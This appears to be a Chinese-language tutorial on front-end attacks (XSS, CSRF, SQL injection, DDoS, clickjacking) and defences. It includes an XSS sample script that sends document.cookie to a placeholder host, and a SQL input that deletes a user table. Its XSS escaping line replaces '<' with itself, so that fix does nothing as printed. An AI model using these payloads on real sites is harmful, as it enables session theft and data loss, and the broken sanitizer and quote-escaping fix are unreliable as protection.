前言
你所了解的前端攻击手段有哪些,该如何预防?
一、XSS攻击
Cross Site Scripting 跨站脚本攻击
用户通过输入框、文本编辑器等方式,输入带有攻击性的JS代码,从而达到攻击目的。比如:
<script>
var img = document.createElement('img')
img.src = 'http://xxx.com/api/xxx?userInfo=' + document.cookie // 将 cookie 提交到自己的服务器
</script>
最简单的预防手段:替换字符串
const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
现代框架如vue、react会自动屏蔽xss攻击。vue的v-html、react的dangerouslySetInnerHTML除外,这两个可以使用xss的npm包来解决。
二、CSRF攻击
Cross-site request forgery 跨站请求伪造
-
攻击过程:
用户登录了网页A(登录后会产生一个cookie),此时,出现一个具有诱导性的链接,用户点了这个链接,跳转到页面B。
如果没有限制跨域,此时B页面已经拿到了用户访问A页面的cookie,页面B就可以伪造请求携带这个cookie给页面A发请求。
如果A页面的是银行页面,B页面发送的是一个转账请求,那用户的损失可就大了。 -
预防手段:
1、严格的跨域请求限制
2、为 cookie 设置SameSite
不随跨域请求被发送Set-Cookie: key1=val1; key2=val2; SameSite=Strict;
3、关键接口使用短信验证码等双重验证
三、SQL注入
- 利用sql语句达到工具目的。比如:
登录的时候,输入用户名和密码,服务器会执行select * from user where username = 'xxx' and pwd = 'xxx'
。从而找到你的信息。
但是,用户名输入' delete from user where 1=1;--
,拼接完密码后是这样:select * from user where username = '' delete from user where 1=1;-- and pwd = 'xxx'
,–后面的是注释,这样会把整个表删除。 - 解决方法:
服务端进行特殊字符转换,如把'
转换为\'
四、DDOS攻击
-
比如网络设置感染了黑客的病毒,同时向目标服务器发送大量请求,服务器无法应答,然后瘫痪。
-
解决方法:
软件层面不好做,可以选择商用的防火墙,如阿里云 WAF。
五、点击劫持 Clickjacking
- 攻击过程
比如说,用户访问了一个钓鱼网站,里面有诱导内容:免费领取Iphone。这按钮上面可能盖了一个透明的iframe页面,里面嵌了其他页面。你点了之后,可能会执行支付、转账操作,如果你的银行账号是登录状态的话。
与CSRF攻击不同的是,点击劫持需要用户点击操作行为。CSRF不需要用户知道,偷偷完成。
- 解决方法:
1、JS预防
if (top.location.hostname !== self.location.hostname) {
alert("您正在访问不安全的页面,即将跳转到安全页面!")
top.location.href = self.location.href
}
2、限制跨域。增加 http header X-Frame-Options:SAMEORIGIN
,让 <iframe>
只能加载同域名的网页